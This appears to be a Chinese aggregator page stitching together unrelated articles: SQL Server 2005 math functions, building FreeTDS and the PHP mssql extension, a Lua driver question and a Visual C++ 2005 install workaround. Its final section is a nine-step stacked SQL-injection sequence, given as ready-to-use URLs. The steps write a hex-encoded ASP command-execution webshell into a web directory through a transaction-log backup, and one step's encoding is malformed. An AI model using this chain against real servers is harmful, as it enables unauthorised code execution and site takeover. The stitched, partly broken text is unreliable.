GVKun编程网logo

MSSQL SERVER 2005 数学函数整理(sql中的数学函数)

1

想了解MSSQLSERVER2005数学函数整理的新动态吗?本文将为您提供详细的信息,我们还将为您解答关于sql中的数学函数的相关问题,此外,我们还将为您介绍关于lnmp环境里安装mssql及mssq

想了解MSSQL SERVER 2005 数学函数整理的新动态吗?本文将为您提供详细的信息,我们还将为您解答关于sql中的数学函数的相关问题,此外,我们还将为您介绍关于lnmp 环境里安装 mssql 及 mssql 的 php 扩展、lua 访问 mssql 的驱动(好用的)是哪一个?对 mysql/pgsql 的支持不错,但希望先在 mssql 能用起来、Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法、MSSQL 2005 LOG 备份 webshell 的方法的新知识。

本文目录一览:

MSSQL SERVER 2005 数学函数整理(sql中的数学函数)

MSSQL SERVER 2005 数学函数整理(sql中的数学函数)

MSSQL SERVER 2005 数学函数
1.求绝对值
ABS()
select FWeight-50,ABS(FWeight-50),ABS(-5.38) from T_Person
2.求幂
POWER(X,Y) 用来计算X的Y次幂
select FWeight,POWER(FWeight,-0.5),POWER(FWeight,2),
POWER(FWeight,3),POWER(FWeight,4) from T_Person
select Power(2,2)
3.求平方根
SQRT()
select FWeight,SQRT(FWeight) from T_Person
4. 求随机数
RAND() 支持有参数,也可以没参数
select RAND()
select RAND(123)
5.舍入到最大整数
CEILING()
select FName,FWeight,CEILING(FWeight),CEILING(FWeight*-1) from T_Person
6.舍入到最小整数
FLOOR()
select FName,FWeight,FLOOR(FWeight),FLOOR(FWeight*-1) from T_Person
7.四舍五入
ROUND()
ROUND(m,d) m为待进行四舍五入的数值,d为计算精度,也就是四舍五入时保留的小数位数
d为0表示不保留小数位,d为负值表示在整数部分进行四舍五入。
select FName,FWeight,ROUND(FWeight,1),ROUND(FWeight*-1,0),ROUND(FWeight,-1) from T_Person
8.求正弦值
SIN()
select FName,FWeight,SIN(FWeight)from T_Person
9.求余弦值
COS()
select FName,FWeight,COS(FWeight) from T_Person
10.求反正弦
ASIN()
select FName,FWeight,ASIN(1/FWeight) from T_Person
11.求反余弦
ACOS()
select FName,FWeight,ACOS(1/FWeight) from T_Person
12.求正切值
TAN()
select FName,FWeight,TAN(FWeight) from T_Person
13.求反正切值
ATAN()
select FName,FWeight,ATAN(FWeight) from T_Person
14.求两个变量的反正切
ATN2(X,Y) 类似于计算Y/X的反正切
select FName,FWeight,ATN2(Fweight,2) from T_Person
15.求余切
COT()
select FName,FWeight,COT(Fweight) from T_Person
16.求圆周率π值
PI()
select FName,FWeight,Fweight*PI(),PI() from T_Person
17.弧度制转换为角度制
DEGREES() 结果的精确度与参数有关
select DEGREES(PI()),DEGREES(3.0),DEGREES(3)
18.角度制转换为弧度制
RADIANS() 结果的精确度与参数有关
select RADIANS(180),RADIANS(180.0)
19.求符号
SIGN() 返回一个数值的符号,如果数值大于0则返回1,
如果数值等于0则返回0,如果数值小于0则返回-1.
结果的精确度与参数有关
select FName,FWeight-48.68,SIGN(FWeight-48.68),SIGN(1),SIGN(1.000) from T_Person
20.求整除余数 %
select FName,FWeight,FWeight%5 from T_Person
21.求自然对数
LOG()
select FName,FWeight,LOG(FWeight),LOG(1.00) from T_Person
22.求以10为底的对数
LOG10()
select FName,Fweight,LOG10(FWeight),LOG10(100) from T_Person


ps:

主要参照《程序员的SQL金典》
实例有所改动。
T_Person表的创建
复制代码 代码如下:

create table T_Person
(
FIdNumber varchar(20),
FName varchar(20),
FBirthDay datetime,
FRegDay datetime,
FWeight numeric(10,2),
)

lnmp 环境里安装 mssql 及 mssql 的 php 扩展

lnmp 环境里安装 mssql 及 mssql 的 php 扩展

小活中用到 mssql, 于是在自己 lnmp 环境中安装各 mssql 数据库

步骤如下: 

源码编译安装

(1)下载 freetds-stable-0.91 源码: http://download.csdn.net/download/xhu_eternalcc/7457555(花了 4 积分,没有积分的找我要,微信 zmd1047773569)
          上传到根目录下的 download 文件中
(2)编译安装:
   # cd /download

           # tar zxvf freetds-stable.tgz(解压,)

 

   # cd freetds-0.91

   # 编译

            # ./configure --prefix=/usr/local/freetds --with-tdsver=8.0 --enable-msdblib

            # make

            # make install

            参数解释:

            安装 freetds 到目录 /usr/local/freetds:--prefix=/usr/local/freetds

            支持 MSSQL2000:--with-tdsver=8.0 --enable-msdblib

 

配置 FreeTds 的库文件

将 freetds 的库文件所在路径配置到 LD_LIBRARY_PATH 参数中:

$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/localfreetds/lib/:

或者直接把 etc/bashrc 的文件 bashrc 直接填写上  LD_LIBRARY_PATH=/usr/localfreetds/lib:$LD_LIBRARY_PATH

这么作的目的是为了避免加载 FreeTds 库文件加载不上的情况。

 

 

php 里安装 php-mssql 扩展:

cd /download (把php-mssql扩展下载到download目录里)
wget http://cn2.php.net/distributions/php-5.6.30.tar.gz (下载扩展文件,这里要根据你环境中运行的php版本选择对应的扩展版本下载,我这里php是5.6.30的 所以php-mssql扩展下载对应的版本) tar -zxvf php-5.6.30.tar.gz cd /php-5.6.30/ext/mssql
 /usr/local/php/bin/phpize
./configure --with-php-config=/usr/local/php/bin/php-config --with-mssql=/usr/local/freetds/ 

make
&& make install

编译安装后的结果 如下图

 

同时 mssql.so 也在 php 扩展文件下生成 (如下图)

 

 

 

 把 extension="/usr/local/php/lib/php/extensions/no-debug-non-zts-20131226/mssql.so"  添加到 usr/local/php/lib/php.ini 中

 引用扩展后,重启 web 服务,通过 phpinfo 查看扩展 mssql 是否开启成功

重启 php   /usr/local/php/sbin/php-fpm reload  

重启 nginx  进入 nginx 可执行目录 sbin 下,输入命令./nginx -s reload 即可(或者 /application/nginx/sbin/nginx -s reload)

 

 

 

lua 访问 mssql 的驱动(好用的)是哪一个?对 mysql/pgsql 的支持不错,但希望先在 mssql 能用起来

lua 访问 mssql 的驱动(好用的)是哪一个?对 mysql/pgsql 的支持不错,但希望先在 mssql 能用起来

lua 访问 mssql 的驱动(好用的)是哪一个?

lua 对 mysql/pgsql 的支持不错,但对 mssql 的访问,总是不太顺

而目前希望先在 mssql 能用起来

Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法

Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法

是否遇到 mic++rosoft visual c++ 2005 (vc2005) 安装失败的烦恼?你知道该问题可能由多种因素造成,包括缺少系统文件或兼容性问题吗?php小编香蕉为你呈现这篇文章,逐一剖析 vc2005 安装失败的常见原因,并提供全面深入的解决方案。继续阅读,了解如何快速解决问题,顺利安装 vc2005,为你的开发之旅扫清障碍!

首先把vcredist_x86.exe,改为vcredist_x86.zip然后打开提取出【VCREDI~3.exe"(这里是用的WINRAR程序打开ZIP程序,用系统自带ZIP解压程序是一样的),如图:

再把VCREDI~3.exe改为VCREDI~3.zip打开,再解压出【vcredist.msi】与【vcredis1.cab】文件到同目录,这里是解压到E盘根目录,如图。

Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法

使用快捷键按WIN+R键,调出运行,输入CMD,回车。请看图1,或者点开始,输入cmd,然后点找到的CMD.EXE程序。看图2

以上就是Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法的详细内容,更多请关注php中文网其它相关文章!

MSSQL 2005 LOG 备份 webshell 的方法

MSSQL 2005 LOG 备份 webshell 的方法

第一步
http://itpro.blog.163.com/test.asp'';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

第二步:
http://itpro.blog.163.com/test.asp'';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第三步
http://itpro.blog.163.com/test.asp'';drop/**/table/**/[itpro]--

第四步
http://itpro.blog.163.com/test.asp'';create/**/table/**/[itpro]([a]/**/image)--

第五步
http://itpro.blog.163.com/test.asp'';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第六步
http://itpro.blog.163.com/test.asp'';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--

第七步
http://itpro.blog.163.com/test.asp'';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第八步
http://itpro.blog.163.com/test.asp'';drop/**/table/**/[itpro]--

第九步
http://itpro.blog.163.com/test.asp'';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

今天关于MSSQL SERVER 2005 数学函数整理sql中的数学函数的介绍到此结束,谢谢您的阅读,有关lnmp 环境里安装 mssql 及 mssql 的 php 扩展、lua 访问 mssql 的驱动(好用的)是哪一个?对 mysql/pgsql 的支持不错,但希望先在 mssql 能用起来、Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法、MSSQL 2005 LOG 备份 webshell 的方法等更多相关知识的信息可以在本站进行查询。

本文标签:

上一篇SQL MSSQL 常用代码大全(sql的代码)

下一篇MSSQL 事务说明(msql事物)